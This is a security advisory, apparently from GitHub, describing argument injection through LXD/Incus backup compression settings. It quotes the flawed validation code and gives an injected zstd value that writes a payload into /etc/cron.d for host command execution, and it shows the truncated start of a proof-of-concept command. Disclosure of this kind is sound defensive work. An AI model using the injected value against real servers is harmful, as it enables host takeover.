- Severity: CRITICAL
- Ecosystems: go
- Packages: github.com/canonical/lxd
Reported from https://github.com/lxc/incus/security/advisories/GHSA-v6mj-8pf4-hhw4
### Summary
Improper validation of user-provided backup compression algorithm leads to
argument injection in the constructed command line. This leads to an
arbitrary file write on the host, possibly leading to arbitrary command
execution.
### Details
Incus validates `compression_algorithm` by parsing it into fields and checking
only the first token against an allowlist:
“`go
fields, err := shellquote.Split(value)
…
if !slices.Contains([]string{“bzip2”, “gzip”, “lz4”, “lzma”, “pigz”, “pzstd”, “pxz”, “tar2sqfs”, “xz”, “zstd”}, fields[0]) {
return fmt.Errorf(“Compression algorithm %q isn’t currently supported”, fields[0])
}
_, err = exec.LookPath(fields[0])
“`
Extra arguments are not rejected. `compressFile()` then prepends `-c` and
passes the remaining user-supplied fields to the compressor:
“`go
args := []string{“-c”}
if len(fields) > 1 {
args = append(args, fields[1:]…)
}
cmd := exec.Command(fields[0], args…)
cmd.Stdin = infile
cmd.Stdout = outfile
“`
With a value like:
“`text
zstd -d -f –pass-through -o /etc/cron.d/incus-zstd-rce — /var/lib/incus/…/payload
“`
the daemon executes the equivalent of:
“`text
zstd -c -d -f –pass-through -o /etc/cron.d/incus-zstd-rce — /var/lib/incus/…/payload
“`
### PoC
“`
python3 poc.py \
–insecure –url https://remote-incus:8443 \
–cert ~/.config/incus/client.crt –key ~/.config/incus/client.key \
–instance c01 \
–exe…
Source: GitHub Security Advisories · 2026-11-06